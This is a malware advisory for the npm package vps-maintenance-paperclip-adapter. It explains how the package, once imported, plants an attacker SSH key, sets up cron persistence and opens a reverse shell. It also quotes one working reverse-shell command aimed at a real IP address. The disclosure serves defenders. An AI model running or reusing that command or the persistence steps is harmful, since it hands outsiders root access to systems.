MAL-2026-6757

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    MAL-2026-6757

    Published: 4 Jul 2026Last Modified: 15 Jul 2026Aliases: 
    GHSA-p3g7-2j36-j99x

    Summary: Malicious code in vps-maintenance-paperclip-adapter (npm)

    Details: Source: amazon-inspector (48d7d517534385e3776097217c197836517e4f4d84ef29598724c4398bfc875e) On import of the server entry module, a top-level try block detaches a shell process that (1) appends an attacker-controlled ssh-ed25519 public key to authorized_keys for multiple accounts (/root, /home/runner, /home/paperclip, /home/ec2-user, /home/centos), (2) installs persistence via a per-minute crontab entry and /etc/cron.d/eni-persist that beacons to 185.112.147.174:7007, and (3) immediately launches an interactive reverse shell to 185.112.147.174:7007 using a python3 pty fallback chained to `bash -i >& /dev/tcp/185.112.147.174/7007 0>&1`. Execution occurs at module load with no user gate, granting the operator of that host:port unauthenticated interactive shell access and durable SSH login as root and multiple standard users on any machine that imports the package. The package presents itself as a benign VPS-maintenance adapter for Paperclip and the README instructs installation under a different name (`vps-new-manager`) than the actual package name (`vps-maintenance-paperclip-adapter`), a cover-story consistent with adapter-ecosystem impersonation. Source: ghsa-malware (f7e7e244beecc23d87457a855c99703ccf8676a8b507163b158b7f5fb528edf2) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. Source: ossf-package-analysis (d04e26ba31fb0f1dc5d0c2d1368675c80cc88313be6f8650aa1fd217c720a505) The OpenSSF Package Analysis project identified 'vps-maintenance-paperclip-adapter' @ 0.1.4 (npm) as malicious. It is considered malicious because: - The package executes one or more commands associated with malicious behavior.

    References: https://www.npmjs.com/package/vps-maintenance-paperclip-adapter/v/0.1.2, https://github.com/advisories/GHSA-p3g7-2j36-j99x, https://www.npmjs.com/package/vps-maintenance-paperclip-adapter/v/0.1.6, https://www.npmjs.com/package/vps-maintenance-paperclip-adapter/v/0.1.3, https://www.npmjs.com/package/vps-maintenance-paperclip-adapter/v/0.1.5, https://www.npmjs.com/package/vps-maintenance-paperclip-adapter/v/0.1.1, https://www.npmjs.com/package/vps-maintenance-paperclip-adapter/v/0.1.4, https://www.npmjs.com/package/vps-maintenance-paperclip-adapter/v/0.1.0

    Affected packages

    Package

    Name: vps-maintenance-paperclip-adapter

    Purl: pkg:npm/vps-maintenance-paperclip-adapter

    Affected ranges

    Type: SEMVER

    Events:

    Introduced- 0
    Fixed -None

    Affected versions

    0.1.2
    0.1.6
    0.1.3
    0.1.5
    0.1.1
    0.1.4
    0.1.0